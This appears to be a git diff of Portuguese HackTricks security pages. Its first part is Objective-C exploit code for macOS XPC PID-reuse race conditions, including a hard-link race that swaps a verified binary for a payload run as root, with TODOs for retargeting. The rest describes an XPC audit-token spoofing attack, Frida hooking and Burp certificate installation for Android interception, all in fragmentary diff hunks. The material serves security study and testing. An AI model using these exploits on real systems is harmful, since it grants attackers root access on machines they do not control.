- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
|
||||
- (void)triggerLicenseRelatedChecks;
|
||||
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
|
||||
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
|
||||
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
|
||||
- (void)restartOS;
|
||||
- (void)resumeScanJob;
|
||||
- (void)pauseScanJob;
|
||||
- (void)stopScanJob;
|
||||
- (void)startScanJob;
|
||||
- (void)disposeOperationBy:(NSUUID *)arg1;
|
||||
- (void)subscribeTo:(long long)arg1;
|
||||
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
|
||||
@end
|
||||
|
||||
void child() {
|
||||
|
||||
// send the XPC messages
|
||||
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
|
||||
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
|
||||
xpcConnection.remoteObjectInterface = remoteInterface;
|
||||
|
||||
[xpcConnection resume];
|
||||
[xpcConnection.remoteObjectProxy restartOS];
|
||||
|
||||
char target_binary[] = BINARY;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
bool create_nstasks() {
|
||||
|
||||
NSString *exec = [[NSBundle mainBundle] executablePath];
|
||||
NSTask *processes[RACE_COUNT];
|
||||
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
struct timespec ts = {
|
||||
.tv_sec = 0,
|
||||
.tv_nsec = 500 * 1000000,
|
||||
};
|
||||
|
||||
nanosleep(&ts, NULL);
|
||||
if (++i > 4) {
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
[processes[i] terminate];
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
|
||||
if(argc > 1) {
|
||||
// called from the NSTasks
|
||||
child();
|
||||
|
||||
} else {
|
||||
NSLog(@"Starting the race");
|
||||
create_nstasks();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="fork" %}
|
||||
Este exemplo usa um **`fork`** bruto para lançar **filhos que irão explorar a condição de corrida PID** e, em seguida, explorar **outra condição de corrida através de um Hard link:**
|
||||
```objectivec
|
||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <pthread.h>
|
||||
|
||||
// TODO: CHANGE PROTOCOL AND FUNCTIONS
|
||||
@protocol HelperProtocol
|
||||
- (void)DoSomething:(void (^)(_Bool))arg1;
|
||||
@end
|
||||
|
||||
// Global flag to track exploitation status
|
||||
bool pwned = false;
|
||||
|
||||
/**
|
||||
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
|
||||
* XPC service verify the legit binary and then execute as root out payload.
|
||||
*/
|
||||
void *check_race(void *arg) {
|
||||
while(!pwned) {
|
||||
// Overwrite with contents of the legit binary
|
||||
system("cat ./legit_bin > hard_link");
|
||||
usleep(50000);
|
||||
|
||||
// Overwrite with contents of the payload to execute
|
||||
// TODO: COMPILE YOUR OWN PAYLOAD BIN
|
||||
system("cat ./payload > hard_link");
|
||||
usleep(50000);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void child_xpc_pid_rc_abuse(){
|
||||
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
|
||||
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
|
||||
extern char **environ;
|
||||
|
||||
// Connect with XPC service
|
||||
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
|
||||
NSString* service_name = @"com.example.Helper";
|
||||
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
// TODO: CNAGE THE PROTOCOL NAME
|
||||
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
[connection resume];
|
||||
|
||||
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||
NSLog(@"[-] Something went wrong");
|
||||
NSLog(@"[-] Error: %@", error);
|
||||
}];
|
||||
|
||||
NSLog(@"obj: %@", obj);
|
||||
NSLog(@"conn: %@", connection);
|
||||
|
||||
// Call vulenrable XPC function
|
||||
// TODO: CHANEG NAME OF FUNCTION TO CALL
|
||||
[obj DoSomething:^(_Bool b){
|
||||
NSLog(@"Response, %hdd", b);
|
||||
}];
|
||||
|
||||
// Change current process to the legit binary suspended
|
||||
char target_binary[] = kValid;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
/**
|
||||
* Function to perform the PID race condition using children calling the XPC exploit.
|
||||
*/
|
||||
void xpc_pid_rc_abuse() {
|
||||
#define RACE_COUNT 1
|
||||
extern char **environ;
|
||||
int pids[RACE_COUNT];
|
||||
|
||||
// Fork child processes to exploit
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
int pid = fork();
|
||||
if (pid == 0) { // If a child process
|
||||
child_xpc_pid_rc_abuse();
|
||||
}
|
||||
printf("forked %d\n", pid);
|
||||
pids[i] = pid;
|
||||
}
|
||||
|
||||
// Wait for children to finish their tasks
|
||||
sleep(3);
|
||||
|
||||
// Terminate child processes
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
if (pids[i]) {
|
||||
kill(pids[i], 9);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Create and set execution rights to 'hard_link' file
|
||||
system("touch hard_link");
|
||||
system("chmod +x hard_link");
|
||||
|
||||
// Create thread to exploit sign verification RC
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, check_race, NULL);
|
||||
|
||||
while(!pwned) {
|
||||
// Try creating 'download' directory, ignore errors
|
||||
system("mkdir download 2>/dev/null");
|
||||
|
||||
// Create a hardlink
|
||||
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
|
||||
system("ln hard_link download/legit_bin");
|
||||
|
||||
xpc_pid_rc_abuse();
|
||||
usleep(10000);
|
||||
|
||||
// The payload will generate this file if exploitation is successfull
|
||||
if (access("/tmp/pwned", F_OK ) == 0) {
|
||||
pwned = true;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,136 @@
|
|||
# Ataque xpc_connection_get_audit_token no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta técnica foi copiada de** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
## Informações básicas sobre Mach Messages
|
||||
|
||||
Se você não sabe o que são Mach Messages, comece verificando esta página:
|
||||
|
||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Por enquanto, lembre-se de que:\
|
||||
As Mach Messages são enviadas por meio de uma _porta Mach_, que é um canal de comunicação de **receptor único, remetentes múltiplos** incorporado no kernel Mach. **Múltiplos processos podem enviar mensagens** para uma porta Mach, mas em qualquer momento **apenas um processo pode lê-la**. Assim como descritores de arquivo e soquetes, as portas Mach são alocadas e gerenciadas pelo kernel, e os processos veem apenas um número inteiro, que podem usar para indicar ao kernel qual de suas portas Mach desejam usar.
|
||||
|
||||
## Conexão XPC
|
||||
|
||||
Se você não sabe como uma conexão XPC é estabelecida, verifique:
|
||||
|
||||
{% content-ref url="../" %}
|
||||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Resumo da vulnerabilidade
|
||||
|
||||
O que é interessante saber é que a **abstração do XPC é uma conexão um para um**, mas é baseada em uma tecnologia que **pode ter remetentes múltiplos, então:**
|
||||
|
||||
* As portas Mach são de receptor único, _**remetentes múltiplos**_.
|
||||
* O token de auditoria de uma conexão XPC é o token de auditoria _**copiado da mensagem mais recentemente recebida**_.
|
||||
* Obter o **token de auditoria** de uma conexão XPC é fundamental para muitas **verificações de segurança**.
|
||||
|
||||
Embora a situação anterior pareça promissora, existem alguns cenários em que isso não causará problemas:
|
||||
|
||||
* Os tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para a porta de serviço, **ainda não há conexão estabelecida**. Mais mensagens nesta porta serão tratadas como solicitações de conexão adicionais. Portanto, **as verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Portanto, estamos **procurando por conexões XPC que verifiquem ações específicas**.
|
||||
* Os manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho simultâneas. Portanto, dentro de um **manipulador de eventos XPC, o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não de resposta!).
|
||||
|
||||
Isso nos deu a ideia de dois métodos diferentes em que isso pode ser possível:
|
||||
|
||||
1. Variante 1:
|
||||
* O **exploit** se **conecta** ao serviço **A** e ao serviço **B**.
|
||||
* O serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode.
|
||||
* O serviço **A** chama **`xpc_connection_get_audit_token`** enquanto _**não**_ estiver dentro do manipulador de eventos para uma conexão em um **`dispatch_async`**.
|
||||
* Portanto, uma **mensagem diferente** pode **sobrescrever o Token de Auditoria** porque está sendo despachada de forma assíncrona fora do manipulador de eventos.
|
||||
* O exploit passa para o **serviço B o direito de ENVIO para o serviço A**.
|
||||
* Portanto, o svc **B** estará realmente **enviando** as **mensagens** para o serviço **A**.
|
||||
* O **exploit** tenta **chamar** a **ação privilegiada**. Em um svc RC, **A verifica** a autorização dessa **ação** enquanto **svc B sobrescreveu o Token de Auditoria** (dando ao exploit acesso para chamar a ação privilegiada).
|
||||
2. Variante 2:
|
||||
* O serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode.
|
||||
* O exploit se conecta ao **serviço A**, que **envia** ao exploit uma **mensagem esperando uma resposta** em uma **porta de resposta** específica.
|
||||
* O exploit envia ao **serviço B** uma mensagem passando **essa porta de resposta**.
|
||||
* Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma **mensagem diferente para o serviço A** tentando **alcançar uma funcionalidade privilegiada** e esperando que a resposta do serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
|
||||
## Variante 1: chamando xpc\_connection\_get\_audit\_token fora de um manipulador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Cenário:
|
||||
|
||||
* Dois serviços mach **A** e **B** aos quais podemos nos conectar (com base no perfil de sandbox e nas verificações de autorização antes de aceitar a conexão).
|
||||
* **A** deve ter uma **verificação de autorização** para uma **ação específica** que **B** pode passar (mas nosso aplicativo não pode).
|
||||
* Por exemplo, se B tiver algumas **entitlements** ou estiver sendo executado como **root**, ele poderá permitir que ele peça a A para executar uma ação privilegiada.
|
||||
* Para essa verificação de autorização, **A obtém o token de auditoria de forma assíncrona**, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nesse caso, um atacante poderia desencadear uma **Condição de Corrida** criando um **exploit** que **solicita que A execute uma ação** várias vezes enquanto **B envia mensagens para A**. Quando a CC é **bem-sucedida**, o **token de auditoria** de **B** será copiado na memória **enquanto** a solicitação de nosso **exploit** está sendo **tratada** por A, dando a ele **acesso à ação privilegiada que apenas B poderia solicitar**.
|
||||
{% endhint %}
|
||||
|
||||
Isso aconteceu com **A** como `smd` e **B** como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) do smb pode ser usada para instalar uma nova ferramenta auxiliar privilegiada (como **root**). Se um **processo em execução como root** entrar em contato com **smd**, nenhuma outra verificação será realizada.
|
||||
|
||||
Portanto, o serviço **B** é **`diagnosticd`** porque ele é executado como **root** e pode ser usado para **monitorar** um processo, então, uma vez que a monitoração é iniciada, ele **enviará várias mensagens por segundo**.
|
||||
|
||||
Para realizar o ataque:
|
||||
|
||||
1. Estabelecemos nossa **conexão** com **`smd`** seguindo o protocolo XPC normal.
|
||||
2. Em seguida, estabelecemos uma **conexão** com **`diagnosticd`**, mas em vez de gerar duas novas portas mach e enviá-las, substituímos o direito de envio da porta do cliente por uma cópia do **direito de envio que temos para a conexão com `smd`**.
|
||||
3. Isso significa que podemos enviar mensagens XPC para `diagnosticd`, mas qualquer **mensagem que `diagnosticd` envie vai para `smd`**.
|
||||
* Para `smd`, tanto nossas mensagens quanto as mensagens de `diagnosticd` chegam na mesma conexão.
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
4. Pedimos a **`diagnosticd`** para **iniciar a monitoração** de nosso (ou qualquer outro) processo e **enviamos mensagens de rotina 1004 para `smd`** (para instalar uma ferramenta privilegiada).
|
||||
5. Isso cria uma condição de corrida que precisa atingir uma janela muito específica em `handle_bless`. Precisamos que a chamada para `xpc_connection_get_pid` retorne o PID de nosso próprio processo, pois a ferramenta auxiliar privilegiada está no pacote do nosso aplicativo. No entanto, a chamada para `xpc_connection_get_audit_token` dentro da função `connection_is_authorized` deve usar o token de auditoria de `diagnosticd`.
|
||||
|
||||
## Variante 2: encaminhamento de resposta
|
||||
|
||||
Como mencionado anteriormente, o manipulador de eventos para uma conexão XPC nunca é executado várias vezes simultaneamente. No entanto, as mensagens de **resposta XPC são tratadas de forma diferente**. Existem duas funções para enviar uma mensagem que espera uma resposta:
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, nesse caso, a mensagem XPC é recebida e analisada na fila especificada.
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, nesse caso, a mensagem XPC é recebida e analisada na fila de despacho atual.
|
||||
|
||||
Portanto, **pacotes de resposta XPC podem ser analisados enquanto um manipulador de eventos XPC está sendo executado**. Embora `_xpc_connection_set_creds` use bloqueio, isso apenas impede a substituição parcial do token de auditoria, não bloqueia o objeto de conexão inteiro, tornando possível **substituir o token de auditoria entre a análise** de um pacote e a execução de seu manipulador de eventos.
|
||||
|
||||
Para esse cenário, precisaríamos de:
|
||||
|
||||
* Como antes, dois serviços mach _A_ e _B_ aos quais podemos nos conectar.
|
||||
* Novamente, _A_ deve ter uma verificação de autorização para uma ação específica que _B_ pode passar (mas nosso aplicativo não pode).
|
||||
* _A_ nos envia uma mensagem que espera uma resposta.
|
||||
* Podemos enviar uma mensagem para _B_ que ele responderá.
|
||||
|
||||
Aguardamos _A_ nos enviar uma mensagem que espera uma resposta (1), em vez de responder, pegamos a porta de resposta e a usamos para uma mensagem que enviamos para _B_ (2). Em seguida, enviamos uma mensagem que usa a ação proibida e esperamos que ela chegue simultaneamente com a resposta de _B_ (3).
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemas de Descoberta
|
||||
|
||||
Passamos muito tempo tentando encontrar outras instâncias, mas as condições dificultaram a busca tanto estática quanto dinamicamente. Para procurar chamadas assíncronas para `xpc_connection_get_audit_token`, usamos o Frida para fazer hook nessa função e verificar se o backtrace inclui `_xpc_connection_mach_event` (o que significa que não é chamado de um manipulador de eventos). Mas isso só encontra chamadas no processo que estamos conectados atualmente e nas ações que estão sendo usadas ativamente. Analisar todos os serviços mach alcançáveis no IDA/Ghidra foi muito demorado, especialmente quando as chamadas envolviam o cache compartilhado do dyld. Tentamos criar um script para procurar chamadas para `xpc_connection_get_audit_token` alcançáveis a partir de um bloco enviado usando `dispatch_async`, mas analisar blocos e chamadas passando pelo cache compartilhado do dyld tornou isso difícil também. Depois de gastar um tempo com isso, decidimos que seria melhor enviar o que tínhamos.
|
||||
## A solução <a href="#a-solução" id="a-solução"></a>
|
||||
|
||||
No final, relatamos o problema geral e o problema específico no `smd`. A Apple corrigiu apenas no `smd`, substituindo a chamada para `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
|
||||
|
||||
A função `xpc_dictionary_get_audit_token` copia o token de auditoria da mensagem mach na qual essa mensagem XPC foi recebida, o que significa que não é vulnerável. No entanto, assim como `xpc_dictionary_get_audit_token`, isso não faz parte da API pública. Para a API `NSXPCConnection` de nível superior, não existe um método claro para obter o token de auditoria da mensagem atual, pois isso abstrai todas as mensagens em chamadas de método.
|
||||
|
||||
Não está claro por que a Apple não aplicou uma correção mais geral, por exemplo, descartando mensagens que não correspondem ao token de auditoria salvo da conexão. Pode haver cenários em que o token de auditoria de um processo muda legitimamente, mas a conexão deve permanecer aberta (por exemplo, chamando `setuid` altera o campo UID), mas mudanças como um PID diferente ou versão do PID são improváveis de serem intencionais.
|
||||
|
||||
De qualquer forma, esse problema ainda persiste no iOS 17 e macOS 14, então se você quiser procurá-lo, boa sorte!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -8,13 +8,13 @@
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
Frida permite que você **insira código JavaScript** dentro de funções de um aplicativo em execução. Mas você pode usar **python** para **chamar** os hooks e até mesmo **interagir** com os **hooks**.
|
||||
|
||||
Este é um script python simples que você pode usar com todos os exemplos propostos neste tutorial:
|
||||
Este é um script python fácil que você pode usar com todos os exemplos propostos neste tutorial:
|
||||
```python
|
||||
#hooking.py
|
||||
import frida, sys
|
||||
|
@ -133,7 +133,7 @@ Você pode ver isso no [próximo tutorial](frida-tutorial-2.md).
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -52,15 +52,15 @@ Explicado neste [**vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8), você
|
|||
|
||||
1. **Instalar um certificado CA**: Basta **arrastar e soltar** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá para o aplicativo **Magics** no telefone na seção **`Módulos`**, clique em **`Instalar a partir do armazenamento`**, selecione o módulo `.zip` e uma vez instalado, **reinicie** o telefone:
|
||||
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no celular, vá para o aplicativo **Magics** no celular na seção **`Módulos`**, clique em **`Instalar a partir do armazenamento`**, selecione o módulo `.zip` e uma vez instalado, **reinicie** o celular:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Após reiniciar, vá para `Credenciais confiáveis` -> `SISTEMA` e verifique se o certificado do Postswigger está lá
|
||||
|
||||
|
@ -76,7 +76,7 @@ Mudanças:
|
|||
* A técnica alternativa de **montar um diretório tmpfs por cima também não funciona** - mesmo que isso signifique que `ls /apex/com.android.conscrypt/cacerts` possa retornar nada (ou qualquer outra coisa que você queira), os aplicativos ainda verão os mesmos dados originais.
|
||||
